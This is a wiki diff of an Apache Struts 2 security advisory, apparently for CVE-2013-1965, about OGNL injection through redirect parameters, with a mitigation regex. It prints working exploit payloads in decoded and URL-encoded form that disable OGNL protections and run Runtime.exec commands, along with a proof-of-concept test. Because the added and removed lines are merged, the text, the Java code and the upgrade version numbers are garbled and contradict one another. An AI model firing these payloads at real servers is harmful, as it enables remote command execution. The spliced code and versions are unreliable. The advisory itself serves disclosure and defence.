Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

Summary


Excerpt

Showcase app vulnerability allows remote command execution



Who should read this

All Struts 2 developers

Impact of vulnerability

Remote command execution

Maximum security rating

Critical

Important

Recommendation

Developers should immediately upgrade to Struts 2.3.14.

1

3

Affected Software

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2 

Reporter

Xgc Kxlzx, Alibaba Security Team

CVE Identifier

CVE-2013-1965

Original Description

Reported directly to security@a.o

Problem

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to inject
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, then a further assignment of the property afterward used as request parameter of a redirect address, which will cause a further evaluation.

OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fix fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially.

Wiki Markup
This time, there is no way to whitelist parameter value,
Regular expression in ParametersInterceptor matches top\['foo'\](0) as a valid expression, which OGNL treats as (top\['foo'\])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameter.
This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

Proof of concept

  1. Run struts2-showcase
  2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
  3. write skill name to %{expr} for example:

    Code Block
    %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
    


  4. submit the form

The issue, in order to work, need a redirect result defined as the following:

Code Block

<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

JUnit Version

Code Block
java
java

public void testUnsecureRedirect
Code Block
titleVulnerable Action

public class FooAction {
    private String foo;

    public String execute() {
    final String pwnDir  return= "success/tmp/PWNAGE";
    final }
Map<String, String> fakeAction = publicnew StringHashMap<String, getFooString>() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

No Format

/action?foo=(#context["put("skillName", "%{(#context['xwork.MethodAccessor.denyMethodExecution"']= new java.lang.Boolean(false), (#_memberAccess["'allowStaticMethodAccess"']= new java.lang.Boolean(true), (@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE " + pwnDir + "'))(meh)&z[(foo)('meh')]=true

encoded version:

No Format

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

And the JUnit version

Code Block
titlePoC

public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    @Test
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +}");
        }
    };

    String location = "/context/edit.action?skillName=true";
    responseMock.expectAndReturn("encodeRedirectURL", C.anyArgs(1), location);
    responseMock.expect("sendRedirect", C.args(C.eq(location)));
    requestMock.expectAndReturn("getAttribute", C.args(C.eq("javax.servlet.include.servlet_path")), location);

    ValueStack stack = ai.getStack();
    stack.push(fakeAction);

    view.setLocation("edit.action?skillName=${skillName}");
    view.setParse(true);


    try {
        view.execute(ai);

        "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]requestMock.verify();

        File pwn = new java.lang.Boolean(true), " +
File(pwnDir);
        boolean exists = pwn.exists();
        "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

FileUtils.deleteDirectory(pwn);
        request.setParameter("top['foo'](0)", "true"assertFalse("Remote exploit: The PWN folder has been created", exists);

        StringObject resdme = this.executeAction("/example/foo.actionstack.getContext().get("xwork.MethodAccessor.denyMethodExecution");

        assertTrue("DenyMethodExecution has been FooActiondisabled", actiondme = this.getAction()= null || BooleanUtils.toBoolean(dme.toString()));

    } catch (Exception  File pwn = new File("/tmp/PWNAGE");e) {
        Asserte.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists())printStackTrace();
        fail();
    }
}

Solution

The regex pattern inside the ParameterInterceptor OGNLUtil class was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param namesdeny eval expressions by default.

Warning

It is strongly recommended to upgrade to Struts 2.3.114.23, which contains the corrected OGNL and XWork library.

In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:

...

.

...

The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:

Code Block

<interceptor-ref name="params">
	<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>
Note
titletitle

Beware that the above pattern breaks the type conversion support for collection and map (those parameter names should be attached to acceptParamNames variable).
For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack